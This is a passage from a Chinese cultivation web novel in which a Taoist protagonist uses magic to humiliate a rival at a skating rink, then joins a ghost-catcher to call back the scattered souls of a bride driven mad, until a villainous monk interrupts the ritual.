这不是愿力带来的!
我很明确。
这是阴德?
我不确定,但感觉上应该就是了。
因为这种力量,很不一样,就像是处在一种俯视的视角,这不是人能做到的。
“这画的也不咋地嘛?感觉没啥特色啊?”
“是啊,林子枫本人呢?骗子,害得我慕名而来,从燕赵之地白跑一趟。”
“哎,什么诡异画展,估计又是炒作。垃圾,就这种水平,我们大院的孩子一抓一大把。”
…
我还在惊讶呢,周围的人却突然都醒了。他们根本不知道发生了啥事,在那指指点点的。
而没了林子枫的控制,这些画变得平平无奇,一些人已经点评了起来。
我哭笑不得,看着叫嚣最大声的那壮汉,我再想,要是林子枫还活着,他会不会被玩?
我这可不是瞎想,那家伙明显就是个病态,做出啥出格的事都有可能。
“哎呀,白来一趟啊,这林子枫的画,看起来也不诡异啊。冯大师,这次算我框你了,晚上,我安排你去溜冰。”黎雅摊了摊手。
我正想说些啥呢,黎雅突然半蹲在地上捡了个东西递给了我,“这是啥啊?你掉的嘛?”
我拿了过来,这是一支画笔,上面还沾着血迹呢,这是林子枫的画笔?
林子枫已经被捏成了血雾,但这画笔却没事,这说明是个宝贝。
应该是刚才那些画中的生灵出来,我没注意到它。
“嗯,是我的。”我点头承认,拿在手里看了看,但看不出门道。
“你为啥会有画笔啊?”黎雅奇怪道。
“你给我的,所以就是我的了。”我把画笔揣进了兜里,我总不能说那个画家林子枫被我弄**,爆的装备吧。
“啊,不是你的啊?”黎雅说。
“你给我的,那就是我的。”我说。
“这,可我是捡的啊,万一是画展里谁的呢,得给人家。”她说。
“那跟我没关系,你捡的,你给我了,那就是我的了。至于谁丢的,不是我捡的。”我一本正经道。
黎雅无语了。
跟着,我跟她又在画展转了转,直到出去了,黎雅还嘟囔呢,“林子枫呢,不是说这次来能碰到他本人吗?主办方真没信誉。”
我面无表情,要是能看到他,那才是见鬼了。
黎雅还是那个黎雅,我来了帝都,然后就带我在帝都玩。
晚点的时候,她约了几个现实中的朋友,说是一起去溜冰场玩。
这算是我第二次见到黎雅朋友圈里的人,第一次还是那个**呢。
但那个家伙心怀鬼胎,以怨报德,是个不折不扣的狗东西。
这次不一样,来的都是青年靓女,看那身份打扮,那都是非富即贵。
当然,黎雅也跟我说了,这些朋友也不都是有钱的,还有有钱有权人家的子弟。还有些是从小到大的朋友。
我没忍住,给这女人一个白眼,说来说去,那不就是贵族圈嘛。
“哟,黎大小姐,打电话把大家伙聚过来,说是来了位特殊的新朋友,不会是你男朋友吧?”说话的是个男胖子。
二十五六岁,一米七五左右,二百来斤的体格子,穿这个嘻哈风的潮流T恤,看上去很有喜感。
“呵呵,我倒是想当他女朋友,但是人家未必愿意。我俩刚认识那会,他可说了,不喜欢我
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,还说讨厌我呢。”黎雅瞥了我一眼说道。
我面无表情,这娘们真记仇啊,逮住机会就调侃我。
“我了个稻草,牛逼啊兄台,我还是头一回听说黎姐追人被拒了呢。老弟樊东野,熟人叫我樊胖子,以后你就是老弟的偶像。大哥在上,老弟在这给大哥鞠躬了。”胖子先是握住我的手一阵寒暄,然后真就鞠躬了。
樊胖子一系列的操作,给我直接整不会了。我都没分清,这家伙是在开玩笑,还是认真的。
“**,樊胖子,你真下头啊,咱老帝都人的脸都给你丢尽了。见人就**?你丫的,家里缺大哥啊!”说话的是个女的,一米六的个头,小模样倒是挺俊俏,但就是穿得有点另类。
红色短袖,蓝色背带裤,戴了个小翅膀的帽子。她吃这棒棒糖,应该是个成年人,但好像小学生。
“贾星星,您可滚吧。老子这叫大哥多了不压身。”说完,樊胖子跟我说,“大哥哪人啊?”
我说,“东北的。”
听到这话,来的几个人都相互看了一眼。然后,我就看到黎雅把手捂在脸上,像是在愁得慌。
其他人呢。
也都退后两步。
正在我纳闷咋回事的时候,樊胖子突然就来了一句,“东北,欲盖溺张,大雪,落下寒霜,关外飘向北方,苍鹰落在那大江。铁锅啊炖大鹅,一碗米饭,我够了!”
我吓了一跳,结果还有高手。
一个瘦不拉几的,在樊胖子的喊声中,直接来了一段舞蹈。
完事后。
樊胖子问我,“大哥,我唱得咋样。”
我说,“唱的?这是歌啊?”
我这话一出口,大家都笑出声了。
那贾星星笑得前俯后仰,拿着棒棒糖指着樊胖子说,“胖子,您丫的别逗了。”
说完,贾星星跟我说,“朋友,您不知道啊,这家伙上个月去参加写歌比赛去了,结果拿这首歌去的。你说吧,要是没得奖也就算了。结果得了个三等奖。”
我奇怪,“啊,那不挺好的嘛。”
黎雅也忍不住笑出了声,“一等奖和二等奖都是小学生写的儿歌。”
……
第一百八十四章整人
我哭笑不得。
好家伙。
他是怎么想到跟小学生去比的呢。
果然啊。
抽象的人,做啥都抽象。
总共来了五个人,三男两女,除了樊东野碎嘴子,瘦不拉几那哥们爱蹦跶之外,另那男的文文静静的,不爱说话,但面相也很好。
其他两个女的嘛,贾星星是个活宝,另一个是个御姐,很高冷,不爱说话,还有一双我爱的大长腿。
那是我第一次见到黑丝这东西,她就穿在了腿上,真性感。
我从小到大就没啥朋友,所以我对朋友的概念不深,哪怕醒了过来,都一直以自己为中心,随心所欲。
但我觉得黎雅的这几个朋友质量都很高,有素质,又有个性,看着相互拆台,但关系非常好,氛围很有意思。
我觉得,这才叫玩到一起去,没有杂念的朋友。
很快,我们去了东区的一家溜冰场。我们黑城也有几家,但跟人家的比起来那就差远了。
场地特别大,能容下上百人一起玩。樊胖子买了一大堆的带气的玻璃瓶汽水,一人一瓶,然后就开始滑了。
他们都是常客,正面滑冰,背身滑冰,花样滑冰等等,人家啥都会。结果我呢,啥也不会,有时候连身子都控制不稳。
“冯大师,我还是头一次发现,你还真是笨蛋呢。这东西不难,我教你。”黎雅得意地给我展示。
“我就是不想学,想学的话,我能飞起来。”我嘴硬道。
“你都摔快一百次了吧。就是笨。”黎雅毫不留情。
我撇嘴,没说话。
其实这事也怪我,我就想体验一下普通人的快乐,结果一点也不快乐。
摔了个半死。
但我还是不死心,老子修道的,那么难得身法都学会了,一个溜冰玩不转?
“玩不明白就你丫的滚一边去,少在这碍事,耽误大家玩。”来溜冰的人不在少说,其中有几个看上去应该是常客。
其中一个黄毛突然在我脚下啐了一口,说话很难听。
“**丫的,你跟谁俩呢?”樊胖子突然就朝着那人撞了过去。
瘦子见状,也一个潇洒的滑铲撞了过去。
“怎么着?怎么着?”那黄毛也不是善茬,十几个人都迎了上去,拿胸口撞樊胖子。
“艹,咋地?您不讲理啊?我朋友人家不会玩,但站的是最外道,也没占地,咋就挡住您啦?啊?”樊胖子一点也不怂。
“哼,我就看他不顺眼,就想骂他,咋了?溜冰场,能玩就玩,玩不了就滚。实力为尊。”黄毛点了一支烟。
“瞧你这曹性,仗着人多是吧!”樊胖子毫不畏惧。
“对,老子就是罩着人多弄你,怎么着?当然,都是玩溜冰的,不行就特么比划比划。谁来?”黄毛抽了口烟,吊里吊气的。
“艹!怕你啊!”樊东野说。
看到胖子替我出头,我其实有点意外的。但我这人可不是个缩头乌龟,躲在人后面。
我小心地滑了过去,然后打量了一眼黄毛说,“朋友,我应该没惹到你吧?”
黄毛冷笑,“咋地,怂了?”
我面无表情,总觉得这人有点**。滑冰场这么大,我站在最边上,结果他刻意地来骂我,还在我脚下吐痰。
这不就是找茬吗?
我说,“真有没事找事的人?”
黄毛,“少特么废话,还比不比了?要是怂了,那就滚出滑冰场。爷最膈应碍事的垃圾。”
说完,他的眼神在黎雅,御姐,还有贾星星身上打量。
我确认了。
这就是想装逼的。
拿我当**。
觉得我好欺负。
“怎么玩?我跟你比。”老子确实玩不好这滑冰。
但那是因为老子没想好好玩。
在我头上装逼?
找错人了。
“就你?你特么都站不稳。”黄毛说。
这话一出来,现场哄堂大笑。大家都在等着看热闹呢。
连黎雅和樊胖子都诧异的看着我。
那高冷御姐皱了皱眉头,小声说,“这是集体荣誉,你别乱来,丢了份。”
黄毛一听御姐说话了,立马笑道,“美女,我姓高,叫高大龙,有兴趣认识一下?”
御姐靠在栏杆上,撇过头,不鸟高大龙。
“艹。”高大龙吃瘪,有点不爽。
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我说,“你话有点多了,怂了的话,那就滚。”
高大龙脸色铁青,“艹,行,大家都散开。十圈,谁先滑完,谁赢?”
我说,“来。”
这边闹了起来,老板亲自当裁判,我和高大龙站在一起,随着老板的喊声,滑冰开始了。
我随便地往前滑,高大龙呢,则是站在那,叉着个腰,一点也不着急。
等我滑了一圈,他才准备开始。然而,晚了。
三米内,我突然运转道力,以道力灵犀一指,点在了他腿上。
随后,我就慢悠悠地超过了他。
“大龙哥,你滑啊,他都一圈了。”黄毛的朋友急了,朝他喊。
“我,我动不了,我腿动不了,好像抽筋了呢?”高大龙傻了,脑袋,手,身上都能动,但腿跟脚被我定住了,无论他怎么用力,都没着。
我悠哉地又滑了一圈,完全就是像新手练习那样滑的。
在高大龙身边路过,我顺便又给了他一拳。
“哎呦**,谁打我?”高大龙捂着脸。
“大龙哥,你滑啊,快点的啊。谁打你啊,你是傻了吧?就你自己站在那,人家都滑两圈了。”有人气恼。
“**,真的有人打我,你看我鼻子都出血了。真尼玛邪门啊,我动不了。”高大龙被我打得鼻子淌血,人都快哭了。
而我,又转了一圈,已经三圈了。这次,我没着急走,停在了他身边说,“你咋不滑啊?我还有七圈了。”
高大龙,“我,我抽筋了。对,我肯定抽筋了,有种重新来,你让我缓一缓。”
我心想,跟老子装逼,那老子就让你长长记性,我说,“好啊。”
说完,我解开了他的穴位。
高大龙突然就摔倒了,然后,他又站了起来,盯着我,又盯着自己的腿嘟囔,“这,真邪门了?好了?”
他应该是怀疑我了。
但他没有证据。
“这位,黄毛,你不会是被我朋友吓得不敢比了吧?所以腿不受使唤。要不行,认输吧。你赢不了朋友的。”
抬头一看,说话的人竟然是黎雅,她在这拱火。
……
第一百八十五章听话符
在我印象里,黎雅一直都是那种很有素质的大小姐形象。
我也没想到,她还会有这样一面。
高大龙面红耳赤,咬牙不服道,“我刚才腿抽筋了,我不服,再来!要是再输了,我脱光了绕溜冰场跑十圈!要是你们输了,也一样,敢不敢!”
黎雅撇嘴,“别问我,问他。”
黎雅朝我瞥了一眼。
高大龙看我说,“敢吗?”
我说,“来呗。”
说完,我俩又站在了起跑线上。
随着老板的一声令下,我俩都动了起来。这次,我没直接针对高大龙,他嗖的一下就滑了出去,像是离弦的箭似的在我前面。
都说狗改不了吃屎,这句话绝对是真理。他占据了第一的位子,不忘回头嘲讽我。
“艹,我说了,我腿抽筋,要不然,你是我对……”
然而,不等高大龙把话说完,老子已经上手段了。
御器仙术,控制‘行’字步。我剑指放在胸前,就跟开车似的,控制双腿跟溜冰鞋。
嗖!
直接超越了高大龙。
“啊?”
此刻,全场一片哗然。
然而,我也没觉得有啥不对,越开越快……不对,应该是越用越快。
期间,我见过高大龙几次,然后十圈就完事了。
再看高大龙,他也才滑了五圈,但他似乎滑不下去了,等到了我面前,人瘫软在地上,直勾勾地地看着我。
再说其他人,似乎也是个反应,一个个面面相觑,不可思议。
“还比吗?”我问。
“不,不比了。我,我认输,我走。”高大龙看我的眼神都变了。
“走?我们是有赌注的。”我慢悠悠地滑到了栅栏那,随手把樊胖子帮我拿的汽水拿了过来一饮而尽。
这玩意喝上就得劲儿。
“哥们,都是出来混的,交个朋友。”高大龙咬了咬牙不想跑。
“谁特么跟你是朋友。”说完,我在空中画了一道符箓打了过去。
念着咒语。
然后对高大龙说道,“脱光了跑十圈,然后自己滚。”
听话符。
除了让我娘给我那苹果那次,我就没用过。
当初让我娘给我拿钱就没给。
我顺手试试威力。
见到这一幕,在场的人都用一种怪异的眼光看我。
随后,不知道谁说了一句,“高大龙真脱了,真跑了。”
现场一片哗然。
接着,大家都不看高大龙,而是朝我看了过来。那眼睛睁得一个比一个大。
“咱们,走吧。”樊胖子拉了拉我的胳膊。
我一看,大家似乎都准备走了。
我点了点头,玩得也尽兴了,然后跟着几个小伙伴就离开了。
“**,大哥,你太牛逼了。小弟真给你跪了,你是神仙嘛?”樊胖子似乎一肚子话,但是憋了一路,直到到了一个广场,他实在忍不住了,朝我就是一顿弯腰行礼。
“哥,你渴嘛,老弟给你买水。哥,你那个开车能教教我嘛,我想学,我想装逼。”那瘦子也凑了过来,一口一个哥。
“大哥,我,我也想学。”最老实的那个文文静静的青年,也凑了过来。
至于那御姐和贾星星,她们也在盯着我,有点想靠过来,但是又有点矜持。
“还没给你们介绍呢,这位是冯宁,帮我家解决了麻烦的那个冯大师。东北黑城人。本事,我就不多说了。”黎雅说道。
“您就是冯大师?”樊胖子震惊。
其他几人也是这反应。
“**,牛逼,小雅说,你可是连降头师都给弄了。”贾星星走了过来,又说道,“降头师我是见过的,很可怕。我家的一些事,都是他给解决的,厉害着呢。你是咋做到的?”
我也不傻,我知道黎雅这是趁机帮我宣传呢。但降头师那事,以我现在的角度是个意外。咋说呢,对方很厉害,但我是个愣头青,用板砖拍了他,打断了他的施法。
这才让他没有一点机会对付我。
但看着几人期待的目光,我说,“他太弱了。”
闻言。
几人,包括那御姐都露出了兴奋的表情,胖子更是直说,“我去,大哥,你是真牛逼。我听说,找黎雅麻烦的那个降头师,那是大泰王朝的白衣龙王,能排进前十呢。我爸说,那人现在已经回到大泰王朝了,受万人尊敬。**,他还弱。”
我皱了皱眉头,撇了一眼黎雅。不是说送到麻国北去了吗?
这家伙还活着呢?
黎雅摇了摇头,看来她不清楚这事。
随后,倒是我自己想明白了。当时还
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是年轻了,其实就该把他给弄死,一了百了。
他的那些本事去了麻国北,照样能活得顺风顺水。
原因嘛,他是真有本事。
我没去接过话茬,因为我本身就不是那种特别喜欢说话的人。
本以为樊胖子他会老实点,结果这家伙激动道,“**,大哥,您真是道骨仙风啊,就这冷漠的劲儿,那都是高人才有的。大哥,求你了,留个联系方式吧。以后,我也认识高人了。”
我哭笑不得,但表面上还是面无表情的,我想了想说,“我场地在东北哈城,暂时还没安电话,要是有那些事,你可以去哈城偏街五十八号找我。”
胖子也不知道哪弄了个笔在那记。
其他几人也都凑了过去,然后都要了一份。
玩了一小天,随着天色彻底黑了下来,跟黎雅的几个朋友散伙了。
结果,这边我本打算跟黎雅去她别墅那睡觉。
那高冷的女人突然出现了,然后在黎雅面前把我拉到一边说,“冯宁,有些事,我想请你帮我。”
女人确实漂亮,个子又高又瘦,但该凹的凹,该凸的地方凸。
那张高冷的五官,但凡是个男人都喜欢。
她叫伊楠乔,名字倒是很好听,诗情画意的。
然而,我看着她说,“我帮人解决问题是要收费的。”
伊楠乔愣了一下,“那,朋友也收费吗?”
我指着等我的黎雅说道,“她找我,一次十万。”
伊楠乔又愣了下,“啊?陪睡啊,这么贵?”
我无语了。
这话听着很别扭。
我说,“十万,还是少的,他家大厦的事,五十万。”
伊楠乔说,“大厦的事,那还真的不多。那挽回了黎家的脸面名誉,就算一百万都不多。”
随后伊楠乔犹豫了下说,“我跟黎雅比不了,不是所有人,都是她那种资本家庭。我有……两万块。事情的话,也不复杂,就是能不能帮我看一个人,看看这人有没有说法就行。”
我说,“两万也行。”
伊楠乔奇怪道,“啊,那我刚才说一万呢?”
我说,“那也行。”
伊楠乔郁闷道,“你的收费标准不是十万吗?”
我说,“没标准。我觉得行就行。”
……
第一百八十六章冲喜成丧(第四更,求票票)
看得出来,伊楠乔是真的无语。
但随后她又问我,“那,不给两万给一万行嘛?”
我说,“那不行,说好的两万,少一个子,我都不去。”
伊楠乔沉默了。
但还是跟我约定明天上午十点在附近的咖啡馆见面。
回别墅的路上,黎雅说,“小乔是不是找你给人看问题?”
我点头,“这事你知道?”
黎雅说,“几个朋友都知道。”
去往别墅的路上,黎雅说了个大概情况。事情还要从伊楠乔的奶奶说起。
说是伊楠乔的奶奶年龄大了,身体大不如从前了,然后家里来了个云游的和尚。
那和尚说有办法给奶奶续命。
家里人给了好处,和尚说让她奶奶穿着红衣服,去谁家的婚礼上抢喜。
所谓抢喜,就是在新婚夫妻从正门步入殿堂的时候,然后从夫妻俩面前跑过去。
也叫沾沾喜气。
但这种事呢,招人膈应,特别是老人做这种事,大多数为的是寿命。
那说法那就多了。
老人是沾喜庆了,人家结婚的呢?被老人给抢喜,那就是在冲喜。
你增寿。
那人家就减少啊?
你喜气!
人家就丧气!
伊楠乔家庭虽然没黎雅家富裕,但也不太差。这种事,家里,包括老太太都不愿意,说是缺德。
结果呢,她姑妈却当了回事,去了人家婚礼,穿了件红衣服,婚礼当天她替老太太给冲喜了。
谁知道。
她这头刚过去。
那新郎一头栽倒在地上人就没了。
新娘也给吓疯了。
而在当天晚上,她奶奶也没了。
她姑妈呢?
一看惹了大乱子,吓得直接飞了国外,杳无音信。
新娘是伊楠乔的发小。
如今新娘疯了,她心怀愧疚,一直想把发小弄好。
但来了不少人,最后都摇头走了,其中有个厉害的阴阳师说,她的三魂七魄,被人借走了一半,拽都拽不回来。
听了这事,我说,“那这么说,她在这件事上花了不少钱?所以她没钱?”
黎雅点头,“算是吧,这件事当时在圈内引起了很大的说法,甚至,她家被排挤。但后来,一位大人物当的和事佬,她家也付出了很大很大的代价,这件事才得以平息。”
我奇怪,“多大?”
黎雅想了想说,“虽然小乔家是读书人出身,但他们家在各个领域都有说话权的人。我也是听说,条件是国外的一个矿产让给了新郎新娘两家,这件事才平息了。也是因为这事,她的叔叔大爷们把家给分了,听说有的都不联系了。反正,挺不好的。”
以前总是听说家里有矿的,现在直接见到了家里有矿的本人。
我没在说话。
我突然觉得两万块收的有点少了。
这件事应该很麻烦。
要说来黎雅家最大的好处,那肯定是改善伙食。在她家吃饭,感觉能改掉吃主食的毛病。
一大早,她让佣人煮的燕窝,说是这玩意营养价值高,一问价,她说一碗也就三千块吧。
我心想,这事要跟陆小旺说,她那一个月三千的死工资,能不能气死。
随后我又,要是陆小旺生在这种家庭,她爷爷**,烧纸?能不能烧成神仙?
吃着燕窝,又给我弄了鲜牛奶,说是从草原运过来的。
这次我没在问。
一饮而尽。
吃过饭,黎雅有事出去了,但给了我一把别墅的钥匙。
至于嘛,闲着无聊,出了别墅四处溜达,九点多,提前去了咖啡馆。
二楼,我见到了伊楠乔。
“谢谢你,很准时。”一桥南拿出了两万块推了过来。
我收好。
她接着说了情况,跟黎雅说的大差不差。但有一个细节不太一样,说是那个和尚走后,家里又来了个道士。
那道士道骨仙风的,还给她奶奶算了挂,说她会死在那天。
也就是那新婚当天。
当时家里觉得晦气,把他给撵走了。
算卦方面,我还真不行,我也试过,啥也算不出来。
这就跟林子枫留下的那笔和仙法一样,我试了试,学不会。
而这种学不会,不是通过努力就能弥补的,是能感知到
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自己没这方面的道行。
但是听了这件事,我却能想通里面的缘由,我说,“那老道是不是后面还有话想说,但是你们没让他说完。”
伊楠乔说,“好像是,但我不能确定。因为当时我虽然在,但等我出去,老道士已经被轰走了。因为……”
跟我想的一样,我打断她说道,“因为你家信佛不信道。”
伊楠乔惊讶,“是,是这样的。”
我冷笑,这种事我从小就见过。佛家阿弥陀佛吉祥话,挨家挨户都要给点东西,或是钱或是吃的。
不管信不信佛,只要不是那种混不吝啬的,见到僧人都不会撵走。
但道家不一样,出口成脏,穿着随意,说话也直来直去的。
就连我家,我看到的,逢年过节都要撵走几个。
应该是个云游的道士,正巧在他家门口路过,然后算到了因果,所以想着化解这因果。
而结果,他们家信佛,信佛者,听不得坏事。所以,那老道说了因果,却没等把化解的法子说了,就被撵出去了。
要是不信佛,直接就撵人了。
“所以说,你的这两万块,到底是想我帮着看相呢?还是说救人?”我问她。
事情到了现在,我了解的都差不多了。但具体什么情况,那得我见到人再说。
但看相是看相。
救人是救人。
不能混在一起。
她激动道,“能救吗?”
我说,“不知道,我现在是从你的口中了解了这些事,这是为了方便我知道起因结果。但具体怎么办,还要见到那姑娘。这是两回事,你能明白吗?”
伊楠乔点了点头,但还是很激动道,“要是能救她,求你救她。钱,等我赚到了,我愿意多出。行吗?”
我说,“这个倒不用,那这个钱,就算是救她的钱。你这件事,看相没啥用,所以我才那样问你。”
伊楠乔说,“你,真好。”
我摇头,“你想多了,我只是拿钱办事,童叟无欺。那,能见到你那个发小吗?”
伊楠乔点了点头,但我能看得出来,她似乎有点为难。
……
第一百八十七章碰到了高人(第五更)
至于她说的老子真好。
哼!
老子不吃这套。
不就是想让我少要点钱吗?
门都没有。
还有,原本她穿着黑丝,那张高冷的点,我觉得还是很有兴趣的。
她这一放低姿态。
感觉有点不耐看了。
喝过咖啡,伊楠乔打了一辆出租车,我们在一个老街下的车。
这地方四通八达的,都是那种老式的四合院,墙是灰的,瓦是红的。
叫啥八胡同。
走进去,在一颗大榆树侧面的四合院,伊楠乔在按门铃。
半天。
里面突然出来了个妇女,原本兴高采烈的脸,见到伊楠乔,脸色突然就黑了。
“你还来我们家干啥?”妇女五十来岁,仇视地看着她。
“阿姨,我,我找了个有本事的朋友来看看。”伊楠乔一脸的愧疚。
妇女看了看我,又看了看她,倒是没拦着,但嘴里嘟囔道,“看吧,看吧,我闺女都被你们害成这样了。还来看呢。进来吧,家里还有个说能捉鬼的呢,一天天的,没好事。”
伊楠乔松了口气,急忙朝我招手,这个原本高冷的女人,现在看上去小心翼翼的样,感觉有点可怜。
但这跟我没关系,我跟了进去,不用进屋,就看到了蹲在地上看虫子的女人。
女人约莫二十七八岁吧,穿着一身破烂的红衣服,长头发都有些油腻了,她蹲在地上,一动不动的。
“是我。”伊楠乔上前,帮她摘掉头上的草,女人下意识的躲开,但听到伊楠乔的声音,老老实实的,但没有任何表情,又低下了头。
嗯?
这不是当年的老子吗?
我这样想呢,然后凑了过去。
我运转道力,双眼用力,在这女人身上看来看去。但她身上啥东西都没有,好像连她的气息都很薄弱。
我很确定,不是夺舍。
“她的三魂走了两魂,七魄走了四魄,如今这是一年多了,魂魄早就不知道飞到哪了。这小姐这辈子,也就这样了。”就在这时,一个穿着朴素的人走了出来。
这人跟我年纪差不多,个子不高,长得也很平常,但是说话很轻,应该是个好相处的人。
“你是?”我问。
“跟你差不多。”他却笑了笑说道。
我疑惑,随后他又说,“我是说职业差不多,本事的话,差远了。你不是我们这行的,你是修道的。你的道行,不应该现世的。”
起初,这人只是在那掐指算了算,但是越说越严肃,甚至后面拿出了一本破烂的书,在那找来找去。
然后直摇头。
我有些惊讶了,他的话虽然不太明,但确实说得都对。这可不是那些套路的东西,而是真的算出了点啥。
但算到最后,他手指抽筋了。
半天才缓过来说道,“不算了,不算了,算不出来了。”
我说道,“朋友,这姑娘能救吗?”
我这人没别的,主打一个勤学好问。我认为这人有本事,而且听他那话,应该也有办法。但他实力不够,所以没辙。
他稳住了那抽筋的手指,看向我说,“不好说,我师傅要是在的话,或许还真有办法。”
随后,他也是聪明人,听出了我话中的意思,又说道,“我这个办法要两个条件,第一个条件是要回往生咒,用往生咒把丢掉的魂魄骗回来。等魂魄归为,还有另一个条件,那就是控人的术法,控制她,让她把丢掉的魂魄吃下去。但很难啊,往生咒,那是大佛的不传之秘,控人术,魔道的邪术。我都不会。”
闻言,我先是愣了一下,这两个术法?老子都会啊?这是给我准备的啊?
但我更疑惑的是,这家伙会啥?
光会嘴吗?
“巧了,我都会。”我直接承认了。
他愣住,“啥?你都会?”
我说,“你能做啥?”
他也不含糊,“我能点三魂七魄灯,一旦招魂成了,我用古法稳住三魂七魄到天明,这事就能成。”
闻言,我多打量了他两眼,我运转道力,双眼用力。但怎么看,他就是个普通人。
不过!
我居然看不到他的气运。
这还是头一次呢。
所以我想,他说的应该是真的了。
得知我俩能救治好这疯掉的女人,女人家里满脸的不可置信。
女人的父亲都出面
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了,说一年多过去了,家里来了无数的能人异士,但没有一个人敢说能救的。
再看伊楠乔,她也很激动,差点没哭出来。
但这男人说要在晚上开坛才行,然后我们就一直等到了晚上。
而这家人也挺大方,晚上杀鸡宰羊,弄了一顿大餐。
了解后才知道,这人是个捉鬼先生,能捉鬼,也能送鬼。但跟我不一样,我是有道力的,他靠的都是古书中的法子。
这人性格豪爽,跟我一样,做事也凭自己内心。咋说呢,迄今为止,唯一让我觉得遇到知音的人。
我问了他一些有关捉鬼的事,然后我又说我不相信鬼的存在,他却认真说道,“虽然我是捉鬼的,但我跟你的想法相似,不信鬼,认为他们是能量。这一点我师傅也曾说过,他说,世间万物,都在遵循自然,那人生来死去,也遵循自然。他认为本体有本体的来处和去去,就像是被孕育,死后被细小的生物分解吃掉。灵魂自然也会有灵魂的来处和去处。或是融入大道,或是从大道中在分出来。至于有些不融入大道的灵魂,有可能是去处不一样,我们这一脉,见到之后就用法子把它们送走。”
我有些惊讶,这人虽然没有道力,但悟性却连我都不得不承认极高。
这种理解,已经超乎了常人了。
当然了,人家的理解可不是说的这几句漂亮话,而是真的用一种悟性在讲这件事。
一般人真听不懂。
好不容易抓住这种学习的机会,我又问了小鬼的事。
他说,“那些是阴间的生灵。我之前也送过一些,他们很难缠的。而且分等级,总共九级,等级越高,智慧越高。最难缠的,其实是一级小鬼。阴气差了点,但是不怕疼,不怕死,张牙舞爪的,送走还来,很难缠。”
我又问了过江鲤。
他惊讶,问我碰上了吗?
我点了点头。
他说,“能成为过江鲤的,那都是大运所在。哪怕没化龙,那气运也不是谁能碰的。我们这行传下来的一种说法,过江鲤的气运,仅次于人皇的气运。碰到锦鲤还好,碰到怨气大的,啥家庭都不抗它折腾。”
……
第一百八十八章引魂
我是真的涨了见识,有种被醍醐灌顶的感受。此人看着跟我年纪差不多,但在这些方面博学多才,我认为他是凡间高人。
我们又聊了一些,他也跟我探讨了些有关修道的问题,我也把我的悟性说了出来。
就这样,我俩一路探讨到了夜色降临。
之后,他说自己叫方忖。
干我们这行的,很少主动说自己的名字,他说了,那就是把我当朋友了,所以我也说了我的姓名,然后我俩就开始引魂了。
全程都由方忖指挥,他让我等等,然后从那帆布包里拿出了七盏灯,随后看向天空,也不知道看啥呢,然后按照一种顺序摆放。
在我看来,有点像北斗七星,但又不太像,总之有点别扭呢。
随着七星灯摆放好,他拿出了一根香点上,之后用连着铜铃的红绳在每盏灯上缠上一圈,一路缠到了院门口。
完事后,他给了我一眼神说,“控制她。”
我点了点头,把从邪修那学来的纸人控人术用在了女人身上。
这虽然是我第一次尝试,但一下子就成功了。
不过。
感觉怪怪的。
我虽然是控制纸人,但实际上,有种我附在女人身上的感受。
就像是!
我俩融在了一体,她的身体,也是我的。
这一瞬间,我觉得自己是个女的。
我吓了一跳,赶忙看了自己裤裆一眼。
还在。
那只是一种感受。
“不要动。”
听到了方忖的话,我配合他没有动,女人也没有动。我能清楚地感觉到,他把那红绳缠在了女人的手上。
随后,就看到他盘坐在地上,一只手拿着缠着七星灯的红绳,另一只手拿着女人的红绳,然后看向我说,“可以念往生咒了。但要记住两点,一,千万要控制住女人,她要是乱动扯断了这引魂绳,那这魂就彻底跟她断了。二,等听到铃声响,你就念得慢一点,铃声越响,念得越慢。因为魂魄是飘着的,一旦念得快了,受到惊扰她们会乱跑的。”
我点了点头,轻声地念了起来。
在场的人都很紧张,他们站在屋门口,有的没见过这种阵仗,直接站在屋里面看。
但很显然,他们其实也不太信任我俩,说白了就是死马当活马医。
但我不在乎。
方忖这人也不在乎。
该咋样还咋样。
也不知道过了多久,天反正越来越黑了。女人家里人有点失去了耐心。
有人抱着个肩膀在那摇头,脸上看我们的表情也变得轻蔑。
呼!
突然。
院外刮起了大风,那门突然就被刮开了。
在场的人都被吓了一跳。
再看,那门外漆黑一片,啥都没有,也没有风啊?接着,院子里突然很冷,就像是冷气倒灌似的,好像在地窖。
刚才还抱着肩膀不屑一顾的几个人,嘴唇干涩,眼神也清澈了,挤在一起,连呼吸都不敢大声。
铃铃铃。
听到了铃声,我这边按照方忖说的那样,往生咒念得慢了。
然后,那铃声却越来越响,院子里明明没有一点的风,但那些铃铛,像是有人从那走过去,然后碰到了似的,一边晃动一边响。
还真有用。
我果然没看错,这个方忖很不一般。招魂这种事,陆小旺做过。但两边的情况似乎不太一样,事实证明,陆小旺有本事。
但方忖呢,他就是个普通人,却真有办法解决这件事。
虽然靠我的帮忙,但我觉得他还是很厉害的。
咋说呢,这就跟药方子似的,药方子不起眼,但真有用。关键时刻能给你露一手。
眼下,我也来不及想太多,我眯眼,催动道力,双眼用力,朝着那铃铛看了过去。
在那里,我看到了六个跟这女人一模一样的灵魂。但跟女人不同的,其中两个有意识,他们在四处观望,像是有意识。
另外三个,表情各不相同,有的愤怒,有的哭丧,有的单纯,有的茫然,但面目非常地僵硬,紧随其后。
虽然我不怎么接触灵魂的事,但我也看得懂,这是女人丢失的两魂四魄。
“人有三魂七魄,顶着天,立在地。惊扰惊扰,还望姑娘莫害怕哦。鬼有脚下七星,踩上灯,一星上明月,二星走仙台,三星魂魄灵,四星魂魄魂,五星魂魄归为,六星低头看灯,七星……人……”
这边方忖正念着呢,我看到那两
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魂四魄都走到了一起重合了,眼看着就要进入到女人的身体。
呼。
结果,门外突然一道火光冲了过来。直接打翻了七星灯。
“谁!”
“竟然做损!”
“破坏七星灯台,不让这姑娘归根!”
…
方忖扑棱一下就站了起来,双眼怒视,气的头发都立起来了。
怒发冲冠!
“哼,一个臭捉鬼的,也敢坏老衲的事。”门外,有人走了进来。
这是个穿着百家衣的僧人,头上有戒疤,白色的长寿眉毛,看上去应该有些年纪了。
“僧人?”方忖眯眼,眉毛突然立起,恍然大悟,“是你囚禁了她的魂魄?”
这老僧冷哼,“是又怎么?不是又怎样?老僧佛法无边,能被老僧度,那是她的荣幸。”
看着突然出现的老僧,大家都是愣了愣,但根本不知道发生了什么。
倒是伊楠乔突然对我说,“冯宁,就是他,两年前,就是他来的我家。”
听到这话,我倒是恍然大悟了,他就是那个害人的高僧吧?
“你,你这是图个啥?她一个无辜的女人,你却害她三魂不聚,七魄不全。有损阴德啊!”方忖气得手在发抖。
那老僧却说,“哼,佛法无边,老衲,不过是想试试,能否掌控人劫。”
人劫?
在风水中,人劫为风水布局。
在道家中,人劫是人这一生中的劫难。
但唯独在佛教,人劫是苦难,是磨难,是不幸的。这老僧,是在尝试造就不幸?
